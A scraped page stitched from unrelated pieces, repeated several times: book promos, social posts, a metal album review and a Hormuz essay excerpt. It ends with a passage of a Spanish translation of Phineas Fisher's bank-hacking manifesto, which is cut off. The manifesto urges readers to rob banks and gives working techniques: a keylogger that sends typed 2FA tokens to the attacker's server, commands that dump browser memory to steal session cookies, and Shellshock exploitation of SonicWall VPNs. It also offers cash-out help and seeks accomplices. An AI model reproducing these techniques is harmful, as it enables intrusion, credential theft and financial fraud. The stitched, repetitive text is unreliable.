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This Morning Sat Morning recap and updates
https://youtu.be/BELvTTHZFfg https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/this-morning-sat-morning-recap-and-updates/
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This Morning Sat Morning recap and updates
https://youtu.be/BELvTTHZFfg https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/this-morning-sat-morning-recap-and-updates/
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This Morning Sat Morning recap and updates
https://youtu.be/BELvTTHZFfg https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/this-morning-sat-morning-recap-and-updates/
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Last Night’s Interview with Author Caira Benson
https://youtu.be/EgAMqAxAQDw https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/last-nights-interview-with-author-caira-benson/
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Last Night’s Interview with Author Caira Benson
https://youtu.be/EgAMqAxAQDw https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/last-nights-interview-with-author-caira-benson/
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Last Night’s Interview with Author Caira Benson
https://youtu.be/EgAMqAxAQDw https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/last-nights-interview-with-author-caira-benson/
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Last Night’s Interview with Author Caira Benson
https://youtu.be/EgAMqAxAQDw https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/last-nights-interview-with-author-caira-benson/
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Last Night’s Interview with Author Caira Benson
https://youtu.be/EgAMqAxAQDw https://www.amazon.com/dp/B0GPQN1XV5 Since the day she buried her four-year-old daughter, professional researcher and historian Dr. Isa Reynard struggles each day to survive. In the midst of a routine assignment, she uncovers unexplainable inconsistencies in the paperwork of a long-dead WWII Monuments Man. Her curiosity piqued, Isa begins to uncover the truth, inciting someone who will do anything to keep their secrets hidden. Backed by Neil Fletcher, the […]https://midnight-publishing.org/2026/03/21/last-nights-interview-with-author-caira-benson/
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#EU is cool and everything but this is #overregulation
> Under #Turkey's proposal, beef would be required to come from cattle that is at least 16 months old. It would be marinated with specific amounts of animal fat, yogurt or milk, onion, salt, and thyme, as well as black, red and white peppers. The final product be sliced off the vertical spit into pieces that are 3 to 5 millimeters (0.1 to 0.2 inches) thick. Chicken would be similarly regulated.
https://www.npr.org/2024/09/20/g-s1-23808/turkey-wants-to-regulate-germanys-doner-kebab
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Spent waaaaaay too much time today rejigging a heap of old code on my website just so I could share a set of photos that are almost the same as ones I posted a few weeks ago!
This time, I wanted them cropped square. And selected images that work nicely with the square format. This is what I do with my evenings instead of plotting to take over the world like normal people would.
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By ClarkKent
Those of you hoping to turn your ancient civilization cosplay group into a power metal band, sorry to burst your bubble–Warkings has beat you to it. Including Armageddon, this prolific German outfit has released five albums since their founding in 2018.1 Perhaps realizing that one new LP per year is not sustainable, Warkings waited three years to record Armageddon. In that span, the quartet has transformed itself into a quintet, making permanent Morgana le Fay, who previously served as a guest collaborator. Admittedly, it’s not easy to take a group seriously when it dresses up and poses like the members in the band photo below. Fortunately, nobody takes power metal too seriously anyway. Trve fans only care about the following questions: Is the album fun? Is it catchy? Does it make you sing and dance to ridiculous choruses? Let’s find out if Warkings checks these boxes.
Warkings follows the Sabaton and Powerwolf schools of power metal, playing with high levels of bombast while following Sabaton’s lead in writing about historical events. These range from a song (“Armageddon”) about a Viking raid on a church in 793 to a song (“Genghis Khan”) about the famed Mongolian ruler to a song (“Hangman’s Night”) about when France’s King Phillip IV arrested and executed the Knights Templar in 1307. Those unfamiliar with Warkings’s previous work might assume the addition of a female vocalist puts them in the beauty and the beast dynamic of Epica or Nightwish. In a twist, it’s the female, Morgana le Fay, who performs with an edgier, more aggressive approach than the male, The Tribune. The Tribune has a cleaner, softer sound than his Sabaton and Powerwolf brethren, while Morgana le Fay sounds more like Lzzy Hale of Halestorm. The difference in impact that these two have couldn’t be starker. Whereas The Tribune brings a more upbeat feel akin to Fellowship, Morgana le Fay adds grit, which is most evident on the relentlessly heavy “Circle of Witches.”
Don’t expect a hearty meal from Armageddon; it’s more like junk food for your ears. Just as junk food hooks you with additives like sugar and salt, Warkings hooks you with effective, catchy choruses and high-energy drum beats. Opening tracks “Armageddon” and “Genghis Khan” are particularly tasty morsels. If there was ever a heavy metal sing-along album, those two songs would be near the top of the playlist. There are plenty of other examples of good earworms, but Armageddon is at its best on collaborations with other German power metal bands. These include “Hangman’s Night” performed with horror-themed collaborator Dominum, and “Stahl auf Stahl” performed with folk-themed Subway to Sally. On these songs, the bands mix and match their strengths, such that “Hangman’s Night” adds atmospheric chanting and “Stahl auf Stahl” features some tasty violin melodies alongside the guitars.2 Just as too much junk food will make you sick, Warkings wisely limits tunes to four minutes or less, and the fourteen-track record clocks in at a swift 40 minutes.
With some modifications, Warkings could upgrade into a more filling and nutritious snack. For one, while the guitar riffs are adequate in driving the high energy, they’re often generic and uninspired. Sometimes the riffs are great during the intro and chorus but disappear during the rest of the song (“Genghis Khan”), or they’re just bland throughout (“Kingdom Come”). The solos similarly suffer a lack of imagination, and they’re so brief you wonder why Warkings bothered in the first place. The other issue is that Armageddon sags in the middle. This is where a couple of four-minute tracks, “Kingdom Come” and “Kings of Ragnarok”, prove the wisdom of the wham-bam approach. When you rely on simple formulas without including Ascension–level shredding during the solos, anything longer than three minutes starts to spoil.
Armageddon marks my first venture with Warkings, and admittedly, I wasn’t impressed during my first few listens. With each subsequent listen, however, the hooks embedded themselves deeper and deeper into my brain. Those who are more familiar with Warkings might be happy to learn that they appear to have benefited from the lengthier gestation period between albums. They have come back from this break not only with a new member who benefits their sound, but sharper songwriting and stronger choruses. So prepare to dust off your old suit of ancient armor and regale your neighbors with anthems about centuries-old historical events.
Rating: 3.0/5.0
DR: N/A | Format Reviewed: Stream
Label: Napalm Records
Websites: Bandcamp | Facebook | Official Site
Releases Worldwide: July 4th, 2025#2025 #30 #Armageddon #Ascension #Dominum #Epica #Fellowship #GermanMetal #Halestorm #Jul25 #NapalmRecords #Nightwish #PowerMetal #Powerwolf #Review #Reviews #Sabaton #SubwayToSally #WarKings
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You can usually tell I have had an important password expire because I start posting salty toots about passwords, but today I had a rare instance of a new password I instantly like better than the old one.
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You can usually tell I have had an important password expire because I start posting salty toots about passwords, but today I had a rare instance of a new password I instantly like better than the old one.
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You can usually tell I have had an important password expire because I start posting salty toots about passwords, but today I had a rare instance of a new password I instantly like better than the old one.
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You can usually tell I have had an important password expire because I start posting salty toots about passwords, but today I had a rare instance of a new password I instantly like better than the old one.
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You can usually tell I have had an important password expire because I start posting salty toots about passwords, but today I had a rare instance of a new password I instantly like better than the old one.
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Hormuz Dateline
The war now has the smell of salt, oil, and old empires trying to defy the tide. Thirty-three kilometres. That is the width of the Strait of Hormuz at its narrowest navigable point: two shipping lanes, each two miles wide, one in, one out, with a median strip of Iranian territorial water between them. Through those lanes passes approximately 21 million barrels of oil every single day. That is one barrel in every five consumed anywhere on earth. Add the liquefied natural gas, and you have […] -
Hormuz Dateline
The war now has the smell of salt, oil, and old empires trying to defy the tide. Thirty-three kilometres. That is the width of the Strait of Hormuz at its narrowest navigable point: two shipping lanes, each two miles wide, one in, one out, with a median strip of Iranian territorial water between them. Through those lanes passes approximately 21 million barrels of oil every single day. That is one barrel in every five consumed anywhere on earth. Add the liquefied natural gas, and you have […] -
Hormuz Dateline
The war now has the smell of salt, oil, and old empires trying to defy the tide. Thirty-three kilometres. That is the width of the Strait of Hormuz at its narrowest navigable point: two shipping lanes, each two miles wide, one in, one out, with a median strip of Iranian territorial water between them. Through those lanes passes approximately 21 million barrels of oil every single day. That is one barrel in every five consumed anywhere on earth. Add the liquefied natural gas, and you have […] -
Hormuz Dateline
The war now has the smell of salt, oil, and old empires trying to defy the tide. Thirty-three kilometres. That is the width of the Strait of Hormuz at its narrowest navigable point: two shipping lanes, each two miles wide, one in, one out, with a median strip of Iranian territorial water between them. Through those lanes passes approximately 21 million barrels of oil every single day. That is one barrel in every five consumed anywhere on earth. Add the liquefied natural gas, and you have […] -
Una guía DIY para robar bancos
#ÉticaHacker #include #Manifiestos
Manifiesto del hacker Phineas Fisher sobre cómo robar bancos
Sacado de https://unicornriot.ninja/wp-content/uploads/2019/11/hackback-announce-text.txt_ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) Una guía DIY para robar bancos ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' Por el Subcowmandante Marcos Soy un niño salvaje Inocente, libre, silvestre Tengo todas las edades Mis abuelos viven en mí Soy hermano de las nubes Y sólo sé compartir Sé que todo es de todos que todo está vivo en mí Mi corazón es una estrella Soy hijo de la tierra Viajo a bordo de mi espíritu Camino a la eternidadÉsta es mi palabra sencilla que busca tocar el corazón de la gente simple yhumilde, pero también digna y rebelde. Ésta es mi palabra sencilla para contarde mis hackeos, y para invitar a otras personas a que hackeen con alegrerebeldía.Hackeé un banco. Lo hice para dar una inyección de liquidez, pero esta vez desdeabajo y a la gente simple y humilde que resiste y se rebela contra lasinjusticias en todo el mundo. En otras palabras: robé un banco y regalé eldinero. Pero no fui yo sola quien lo hizo. El movimiento del software libre, lacomunidad del powershell ofensivo, el proyecto metasploit y la comunidad hackeren general son las que posibilitaron este hackeo. La comunidad de exploit.inhizo posible convertir la intrusión en las computadoras de un banco en efectivoy bitcoin. Los proyectos Tor, Qubes y Whonix, junto a las y los criptógrafos yactivistas que defienden la privacidad y el anonimato, son mis nahuales, esdecir, mis protectores [1]. Me acompañan cada noche y hacen posible que siga enlibertad.No hice nada complicado. Solamente vi la injusticia en este mundo, sentí amorpor todos los seres, y expresé ese amor de la mejor forma que pude, mediante lasherramientas que sé usar. No me mueve el odio a los bancos, ni a los ricos, sinoun amor por la vida, y el deseo de un mundo donde cada quien pueda realizar supotencial y vivir una vida plena. Quisiera explicar un poco cómo veo el mundo,para que puedan hacerse una idea de cómo es que llegué a sentirme y actuar así.Y espero también que esta guía sea una receta que puedan seguir, combinando losmismos ingredientes para hornear el mismo bizcocho. Quién sabe, por ahí estasherramientas tan potentes acaban sirviéndoles también a ustedes para expresar elamor que sienten. Todos somos niños salvajes inocentes, libres, silvestres Todos somos hermanos de los árboles hijos de la tierra Sólo tenemos que poner en nuestro corazón una estrella encendida (canción de Alberto Kuselman y Chamalú)La policía va a invertir un chingo de recursos en investigarme. Creen que elsistema funciona, o al menos que funcionará una vez que atrapen a todos los"chicos malos". No soy más que el producto de un sistema que no funciona.Mientras existan la injusticia, la explotación, la alienación, la violencia y ladestrucción ecológica, vendrán muchas más como yo: una serie interminable de personas que rechazarán por ilegítimo el mal sistema responsable de estesufrimiento. Ese sistema mal hecho no se va a componer arrestándome. Soy solamente una de las millones de semillas que Tupac plantó hace 238 años en LaPaz [2], y espero que mis acciones y escritos rieguen la semilla de la rebeliónen sus corazones.[1] https://es.wikipedia.org/wiki/Cadejo#Origen_y_significado_del_mito[2] fue antes de ser asesinado por los españoles, justo un día como ayer, que dijo eso de "a mi solo me matarán, pero mañana volveré y seré millones". ____________________________________________< Para que nos vieran, nos tapamos el rostro > -------------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'Para hacernos escuchar, a lxs hackers a veces nos toca taparnos la cara, porqueno nos interesa que vean nuestro rostro sino que entiendan nuestra palabra. Lamáscara puede ser de Guy Fawkes, de Salvador Dalí, de Fsociety, o en algún casola marioneta de un sapo con cresta. Por afinidad, esta vez fui a desenterrar aun difunto para prestarme su pasamontañas. Creo entonces que debería aclarar queel Sup Marcos es inocente de todo lo que aquí se cuenta porque, además de estarmuerto, no le consulté. Espero que su fantasma, si se entera desde alguna hamacachiapaneca, sepa encontrar la bondad para, como dicen allá, "desestimar estedeep fake" con el mismo gesto con que se aleja un insecto inoportuno - que bienpodría ser un escarabajo.Aún así con el pasamontañas y el cambio de nombre, muchos de los que apoyan misacciones quizás van a prestar demasiada atención a mi persona. Con su propiaautonomía hecha trizas por una vida entera de dominación, estarán buscando unlíder a seguir, o una heroína que les salve. Pero detrás del pasamontañas sólosoy una niña. Todos somos niños salvajes. Nós só temos que colocar uma estrelaem chamas em nossos corações.--[ 1 - Por qué expropiar ]-----------------------------------------------------El capitalismo es un sistema en el que una minoría se ha venido a apropiar de una vasta mayoría de los recursos del mundo a través de la guerra, el hurto y la explotación. Al arrebatarnos los comunes [1], forzaron a los de abajo a estar bajo el control de esa minoría que todo lo posee. Es un sistemafundamentalmente incompatible con la libertad, la igualdad, la democracia y el Suma Qamaña (Buen Vivir). Puede sonar ridículo para las que hemos crecido en unamaquinaria propagandística que nos enseñó que capitalismo es libertad, pero enverdad esto que digo no es una idea nueva ni controvertida [2]. Los fundadoresde los Estados Unidos de América sabían que tenían que elegir entre crear unasociedad capitalista, o una libre y democrática. Madison reconocía que "elhombre que posee riqueza, el que se acuesta en su sofá o rueda en su carruaje,no puede juzgar los deseos o sentimientos del jornalero". Pero para protegersefrente al "espíritu de equiparación" de los jornaleros sin tierra, le parecióque solamente los terratenientes debían votar, y que el gobierno tenía queservir para "proteger a la minoria opulenta frente a la gran mayoria". JohnJay fue más al grano y dijo: "Aquellos que son dueños del país deberíangobernarlo". ____________________________________________________/ No existe eso que llaman capitalismo verde. \| Hagamos al capitalismo historia antes de que nos |\ convierta en historia. / ---------------------------------------------------- \ /\ ___ /\ \ // \/ \/ \\ (( O O )) \\ / \ // \/ | | \/ | | | | Evgeny, el gran elefante ignorado, no entiende por qué todos | | | | fingen no verle en los paneles sobre cambio climático, así | o | que aquí le doy chance a decir sus líneas. | | | | |m| |m| De la misma forma que bell hooks [3] sostiene que el rechazo a la culturapatriarcal de dominación es un acto en defensa del propio interés del varón (yaque emocionalmente les mutila y evita que sientan amor y conexión de formaplena), creo que la cultura de dominación del capitalismo tiene un efectosimilar sobre los ricos, y que podrían tener vidas más plenas y satisfactoriassi rechazaran el sistema de clases del que creen que se benefician. Para muchos,el privilegio de clase equivale a una infancia de negligencia emocional, seguidade una vida de interacciones sociales superficiales y trabajo sin sentido. Puedeque en el fondo sepan que sólo pueden conectar de forma genuina con las personascuando trabajan con ellas como sus iguales, y no cuando las ponen a su servicio.Puede que sepan que compartir su riqueza material es lo mejor que pueden hacer con ella. Quizás sepan también que las experiencias significativas, las conexiones y las relaciones que cuentan no son las que provienen de las interacciones mercantiles, sino precisamente de rechazar la lógica del mercado y dar sin esperar nada a cambio. Tal vez sepan que todo lo que necesitan para escapar de su prisión y vivir de verdad es dejarse llevar, ceder el control, y dar un salto de fe. Pero a la mayoría les falta valentía.Entonces sería ingenuo por nuestra parte dirigir nuestros esfuerzos a tratar de producir alguna clase de despertar espiritual en los ricos [4]. Como dice Assata Shakur: "Nadie en el mundo, nadie en la historia, ha conseguido nunca su libertad apelando al sentido moral de sus opresores". En realidad, cuando los ricos reparten su dinero, casi siempre lo hacen de un modo que refuerza elsistema que para empezar les permitió amasar sus enormes e ilegítimas riquezas[5]. Y es poco probable que el cambio venga a través de un proceso político;como dice Lucy Parsons: "No nos dejemos nunca engañar con que los ricos nosvayan a dejar votar para arrebatarles sus riquezas". Colin Jenkins justifica laexpropiación con estas palabras [6]: No nos equivoquemos, la expropiación no es robo. No es la confiscación de dinero ganado "con el sudor de la frente". No es el robo de propiedad privada. Es, más bien, la recuperación de enormes cantidades de tierra y riqueza que han sido forjadas con recursos naturales robados, esclavitud humana, fuerza de trabajo forzada y amasada en cientos de años por una pequeña minoría. Esta riqueza... es ilegítima, tanto a efectos morales como en tanto a los mecanismos de explotación que se han empleado para crearla.Para Colin, el primer paso es que "tenemos que liberarnos de nuestras ataduras mentales (al creer que la riqueza y la propiedad privada han sido ganadas por quienes las monopolizan; y que, por tanto, deberían ser algo a respetar, reverenciar, e incluso algo a perseguir), abrir nuestras mentes, estudiar y aprender de la historia, y reconocer juntos esta ilegitimidad". Acá les dejo algunos libros que me han ayudado con esto [7][8][9][10][11].Según Barack Obama, la desigualdad económica es "el desafío que define a nuestrotiempo". El hacking informático es una herramienta poderosa para combatir ladesigualdad económica. El antiguo director de la NSA, Keith Alexander, concuerday dice que el hacking es responsable de "la mayor transferencia de riqueza de lahistoria". _________________________/ La historia es nuestra \\ y la hacen lxs hackers! / ------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'¡Allende presente, ahora y siempre![1] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf[2] https://chomsky.info/commongood02/[3] The Will to Change: Men, Masculinity, and Love[4] su propia religión ya es muy clara al respecto: https://dailyverses.net/es/materialismo[5] https://elpulso.hn/la-filantropia-en-los-tiempos-del-capitalismo/[6] http://www.hamptoninstitution.org/expropriation-or-bust.html[7] Manifiesto por una Civilización Democrática. Volumen 1, Civilización: La Era de los Dioses Enmascarados y los Reyes Cubiertos[8] Calibán y la Bruja[9] En deuda: Una historia alternativa de la economía[10] La otra historia de los Estados Unidos[11] Las venas abiertas de América Latina _________________________________ < Nuestra arma es nuestro teclado > --------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' ^^ ^^--[ 2 - Introducción ]----------------------------------------------------------Esta guía explica cómo fue que hice el hackeo al Cayman Bank and Trust Company (Isla de Man). ¿Por qué estoy publicando esto, casi cuatro años después?1) Para mostrar lo que es posibleLos hackers que trabajan por el cambio social se han limitado a desarrollar herramientas de seguridad y privacidad, DDoS, realizar defaceos y filtraciones. Allá por donde vayas hay proyectos radicales por un cambio social en completo estado de precariedad, y sería mucho lo que podrían hacer con un poco de dinero expropiado. Al menos para la clase trabajadora, el robo de un banco es algo socialmente aceptado, y a los que lo hacen se les ve como héroes del pueblo. En la era digital, robar un banco es un acto no violento, menos arriesgado, y la recompensa es mayor que nunca. Entonces ¿por qué son solamente los hackers de sombrero negro que lo hacen para beneficio personal de ellos, y nunca los hacktivistas para financiar proyectos radicales? Quizás no se creen que son capaces de hacerlo. Los grandes hackeos bancarios salen en los noticieros cadatanto, como el hackeo al Banco de Bangladesh [1], que fue atribuido a Corea delNorte, o los hackeos a bancos atribuidos al grupo Carbanak [2], al que describencomo un grupo muy grande y bien organizado de hackers rusos, con distintosmiembros que estarían especializados en diferentes tareas. Y, pues no es tan complicado.Es por nuestra creencia colectiva en que el sistema financiero es incuestionableque ejercemos control sobre nosotras mismas, y mantenemos el sistema de clasessin que los de arriba tengan que hacer nada [3]. Poder ver cómo de vulnerable yfrágil es en realidad el sistema financiero nos ayuda a romper esa alucinacióncolectiva. Por eso los bancos tienen un fuerte incentivo para no reportar loshackeos, y para exagerar cómo de sofisticados son los atacantes. Ninguno de loshackeos financieros que hice, o de los que he sabido, ha sido nunca reportado.Este va a ser el primero, y no porque el banco quisiera, sino porque yo medecidí a publicarlo.Como estás a punto de aprender en esta guía casera, hackear un banco ytransferir los dineros a través de la red SWIFT no requiere del apoyo de ningún gobierno, ni de un grupo grande y especializado. Es algo totalmente posible siendo un mero hacker aficionado y del montón, con tan solo herramientaspúblicas y conocimientos básicos de cómo se escribe un script.[1] https://elpais.com/economia/2016/03/17/actualidad/1458200294_374693.html[2] https://securelist.lat/el-gran-robo-de-banco-el-apt-carbanak/67508/[3] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural2) Ayudar a retirar el efectivoMuchos de los que lean esto ya tienen, o con un poco de estudio van a ser capaces de adquirir, las habilidades necesarias para llevar a cabo un hackeo como este. Sin embargo, muchos se van a encontrar con que les faltan las conexiones criminales necesarias para sacar los mangos en condiciones. En micaso, este era el primer banco que hackeaba, y en ese momento sólo tenía unaspocas y mediocres cuentas preparadas para poder retirar el efectivo (conocidascomo bank drops), así que solamente fueron unos cuantos cientos de miles los quepude retirar en total, cuando lo normal es sacar millones. Ahora, en cambio, síque tengo el conocimiento y las conexiones para sacar efectivo más en serio, demodo que si se encuentran hackeando un banco pero necesitan ayuda para convertireso en dinero de a de veras, y quieren usar esa lana para financiar proyectossociales radicales, se ponen en contacto conmigo.3) ColaborarEs posible hackear bancos como una aficionada que trabaja en solitario, pero la neta es que, por lo general, no es tan fácil como lo pinto acá. Tuve suerte con este banco por varias razones:1) Era un banco pequeño, por lo que me tomó mucho menos tiempo llegar a comprender cómo funcionaba todo.2) No tenían ningún procedimiento para revisar los mensajes swift enviados. Muchos bancos tienen uno, y necesitas escribir código para esconder tus transferencias de su sistema de monitorización.3) Sólo usaban autenticación por contraseña para acceder a la aplicación con la que se conectaban a la red SWIFT. La mayoría de los bancos ahora usan RSA SecurID, o alguna forma de 2FA. Puedes saltarte esto escribiendo código para recibir una alerta cuando entren su token, y así poder usarlo antes de que expire. Es más sencillo de lo que parece: he usado Get-Keystrokes [1], modificándolo para que en vez de almacenar las teclas pulsadas, se haga una petición GET a mi servidor cada vez que se detecta que han introducido un nombre de usuario. Esta petición añade el nombre de usuario a la url y, conforme tipean el token, se hacen varios GET con los dígitos del token concatenados a la url. En mi lado dejo esto corriendo mientras tanto: ssh yo@mi_servidor_secreto 'tail -f /var/log/apache2/access_log' | while read i; do echo $i; aplay alarma.wav &> /dev/null; done Si es una aplicación web, puedes saltarte el 2FA robándoles la cookie después de que se hayan autenticado. No soy un APT con un equipo de coders que puedan hacerme herramientas a medida. Soy una persona sencilla que vive de lo que le da la terminal [2], de modo que lo que uso es: procdump64 /accepteula -r -ma PID_del_browser strings64 /accepteula *.dmp | findstr PHPSESSID 2> nul o pasándolo por findstr antes que por strings, lo que lo hace mucho más rápido: findstr PHPSESSID *.dmp > tmp strings64 /accepteula tmp | findstr PHPSESSID 2> nul Otra forma de saltártelo es accediendo a su sesión con un VNC oculto (hvnc) después de que se hayan autenticado, o con un poco de creatividad también podrías enfocarte en otra parte de su proceso en lugar de enviar mensajes SWIFT directamente.Creo que si colaborase con otros hackers bancarios con experiencia podríamos hacernos cientos de bancos como Carnabak, en vez de estar haciendo uno de tanto en tanto por mi cuenta. Así que si tienes experiencia con hackeos similares y quieres colaborar, contactame. Encontrarás mi correo y mi llave PGP al final de la guía anterior [3].[1] https://github.com/PowerShellMafia/PowerSploit/blob/master/ Exfiltration/Get-Keystrokes.ps1[2] https://lolbas-project.github.io/[3] https://www.exploit-db.com/papers/41914 ________________________________________/ Si robar un banco cambiara las cosas, \\ lo harían ilegal / ---------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 3 - Tengan cuidado ahí fuera ]----------------------------------------------Es importante tomar algunas precauciones sencillas. Voy a remitirme a esta misma sección de mi última guía [1], ya que por lo visto funciona bien nomás[2]. Todo lo que tengo que añadir es que, en palabras de Trump, "A menos queatrapes a los hackers in fraganti, es rete-difícil determinar quién es queestaba realizando el hackeo", de modo que la policía se está volviendo más y más creativa [3][4] en sus intentos de agarrar a los criminales en el acto (cuando sus discos duros cifrados están desbloqueados). Así que estaría bueno si por ejemplo llevas encima un cierto dispositivo bluetooth y configuras tucomputadora para que se apague cuando se aleje más allá de un cierto rango, ocuando un acelerómetro detecta movimiento, o algo por el estilo.Puede que escribir artículos largos detallando tus acciones y tu ideología no sea la cosa más segura del mundo (¡ups!), pero a ratos siento que tenía quehacerlo. Si no creyera en quien me escucha Si no creyera en lo que duele Si no creyera en lo que quede Si no creyera en lo que lucha Que cosa fuera... ¿Que cosa fuera la maza sin cantera?[1] https://www.exploit-db.com/papers/41914[2] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a- phineas-fisher.html[3] https://www.wired.com/2015/05/silk-road-2/[4] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes- alphabay-arrest-video ,-\__ |f-"Y\ ____________________ \()7L/ | ¡Sé gay! | cgD | ¡Haz el crimen! | __ _ |\( --------------------- .' Y '>, \ \ \ / _ _ \ \\\ \ )(_) (_)(|} \\\ { 4A } / \\\ \uLuJJ/\l \\\ |3 p)/ \\\___ __________ /nnm_n// c7___-__,__-)\,__)(". \_>-<_/D //V \_"-._.__G G_c__.-__<"/ ( \ <"-._>__-,G_.___)\ \7\ ("-.__.| \"<.__.-" ) \ \ |"-.__"\ |"-.__.-".\ \ \ ("-.__"". \"-.__.-".| \_\ \"-.__""|!|"-.__.-".) \ \ "-.__""\_|"-.__.-"./ \ l ".__""">G>-.__.-"> .--,_ "" G Muchos culpan a las personas queer del declive de esta sociedad; estamos orgullosxs de ello Algunos creen que queremos reducir a cenizas esta civilización y su tejido moral; No podrían estar más en lo cierto Con frecuencia nos describen como depravadxs, decadentes y revoltosxs Pero ¡ay! No han visto nada todavíahttps://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime--[ 4 - Conseguir acceso ]------------------------------------------------------En otro lugar [1] les platicaba acerca de las vías principales para conseguiracceso inicial a la red de una compañía durante un ataque dirigido. Sin embargo,éste no era un ataque dirigido. No me propuse hackear un banco específico, loque quería era hackear cualquier banco, lo cual termina siendo una tarea muchomás sencilla. Este tipo de enfoque inespecífico fue popularizado por Lulzsec yAnonymous [2]. Como parte de [1], preparé un exploit y unas herramientas depost-explotación para un dispositivo de VPN popular. Luego me puse a escanear lainternet entera con zmap [3] y zgrab para identificar otros dispositivosvulnerables. Hice que el escaner guardara las IPs vulnerables, junto con el"common name" y los "alt names" del certificado SSL del dispositivo, los nombresde dominio de windows del dispositivo, y la búsqueda DNS inversa de la IP. Lehice un grep al resultado en busca de la palabra "banco", y había bastante paraelegir, pero la verdad es que me atrajo la palabra "Cayman", y fue así que vinea quedarme con este.[1] https://www.exploit-db.com/papers/41914[2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png[3] https://github.com/zmap/zmap----[ 4.1 - El Exploit ]--------------------------------------------------------Cuando publiqué mi última guía DIY [1] no revelé los detalles del exploit desonicwall que había usado para hackear a Hacking Team, ya que era muy útil paraotros hackeos, como este mismo, y todavía no había acabado de divertirme con él.Determinada entonces a hackear a Hacking Team, pasé semanas haciendo ingenieríainversa a su modelo del ssl-vpn de sonicwall, e incluso conseguí encontrarvarias vulnerabilidades de corrupción de memoria más o menos difíciles deexplotar, antes de darme cuenta de que el dispositivo era fácilmente explotablecon shellshock [2]. Cuando salió shellshock, muchos dispositivos sonicwall eranvulnerables, sólo con una petición a cgi-bin/welcome, y un payload en eluser-agent. Dell sacó una actualización de seguridad y un advisory para estasversiones. La versión usada por Hacking Team y este banco tenía la versión debash vulnerable, pero las peticiones cgi no disparaban el shellshock excepto porlas peticiones a un shell script, y justo había uno accesible:cgi-bin/jarrewrite.sh. Esto parece que se les escapó a los de Dell en su nota,ya que nunca sacaron una actualización de seguridad ni un advisory para esaversión del sonicwall. Y, amablemente, Dell había hecho dos2unix setuid root,dejando un dispositivo fácil de rootear.En mi última guía muchos leyeron que pasé semanas investigando un dispositivo hasta dar con un exploit, y asumieron que eso significaba que yo era algún tipode hacker de élite. La realidad, es decir, el hecho de que me llevó dos semanasdarme cuenta de que era trivialmente explotable con shellshock, es tal vez menoshalagadora para mí, pero pienso que también es más inspiradora. Demuestra quede verdad tú puedes hacer esto por tí misma. No necesitas ser un genio, yociertamente no lo soy. En realidad mi trabajo contra Hacking Team comenzó unaño antes. Cuando descubrí a Hacking Team y al Grupo Gamma en lasinvestigaciones de CitizenLab [3][4], decidí explorar un poco y ver si podíaencontrar algo. No llegué a ninguna parte con Hacking Team, pero tuve suerte conGamma Group, y pude hackear su portal de atención al cliente con inyección sqlbásica y vulnerabilidades de subida de archivos [5][6]. Sin embargo, a pesar deque su servidor de soporte me daba un pivote 